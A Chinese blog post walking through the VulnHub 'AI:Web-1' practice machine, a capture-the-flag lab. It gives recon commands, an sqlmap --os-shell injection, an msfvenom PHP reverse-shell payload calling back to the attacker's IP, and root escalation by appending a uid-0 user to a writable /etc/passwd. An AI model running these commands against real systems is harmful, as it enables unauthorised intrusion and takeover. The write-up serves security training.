AI:Web-1靶场题解

最新推荐文章于 2022-11-21 22:36:48 发布

南人旧心1906

最新推荐文章于 2022-11-21 22:36:48 发布

阅读量736

点赞数

分类专栏：渗透靶机学习

本文链接：https://blog.csdn.net/qq_42133828/article/details/100880013

版权

6 篇文章 2 订阅

订阅专栏

前期准备

https://www.vulnhub.com/entry/ai-web-1,353/

在VM以net连接打开虚拟机

攻击机：kali linux
靶机：ip随配(192.168.119.139)

nmap -A 192.168.119.139

在这里插入图片描述

nikto -h http://192.168.119.139/m3diNf0/

在这里插入图片描述

http://192.168.119.139/m3diNf0/info.php
在这里插入图片描述
获得网站根目录：
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

http://192.168.119.139/se3reTdir777/#
在这里插入图片描述
使用sqlmap跑注入，获得shell

sqlmap.py -r  "C:\Users\DELL\Desktop\121.txt" -p uid --os-shell

在这里插入图片描述
路径输入：/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
拿到shell，并获得上传文件tmpuuqpk.php

访问网页 http://192.168.119.139/se3reTdir777/uploads/tmpuuqpk.php

在这里插入图片描述
上传msfvenom生成的php马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.119.129  lport=5555  -f raw > shell.php

反弹shell得到权限
在这里插入图片描述

python -c 'import pty; pty.spawn("/bin/bash")'

查看 /etc/passwd 文件权限，发现是www-data用户拥有

ls -al /etc/passwd

在这里插入图片描述
由于passwd文件是具有s权限的，所以可以通过写入一个用户，在进行提权

perl -le 'print crypt("123456","aa")'
echo "haha:aaAN1ZUwjW7to:0:0:i_am_root:/root:/bin/bash" >> /etc/passwd
cat /etc/passwd | grep haha

在这里插入图片描述
提权成功，获得flag.txt文件

su haha
cd /root
ls
cat flag.txt

在这里插入图片描述

关注